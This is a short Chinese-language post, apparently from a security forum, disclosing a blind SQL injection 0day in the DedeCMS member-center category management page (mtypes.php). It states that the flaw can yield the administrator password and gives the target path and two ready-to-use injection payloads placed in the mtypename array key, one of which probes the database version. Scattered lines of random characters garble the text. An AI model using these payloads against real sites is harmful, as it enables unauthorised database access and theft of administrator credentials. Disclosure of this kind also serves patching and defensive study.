DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.

, @- T! N& b8 @( R+ [+ I3 g; }
发生在数组key里的注射漏洞,有点意思.
% `% h5 K# ]9 c, {
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
* N; G6 T( b' o$ r' q; O2 {" g
8 ~4 |0 U+ N7 {9 vhttp://www.xxx.com /dede/member/mtypes.php?dopost=save
$ B6 B# W# p% a( Z3 b1 x9 D  h
exploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r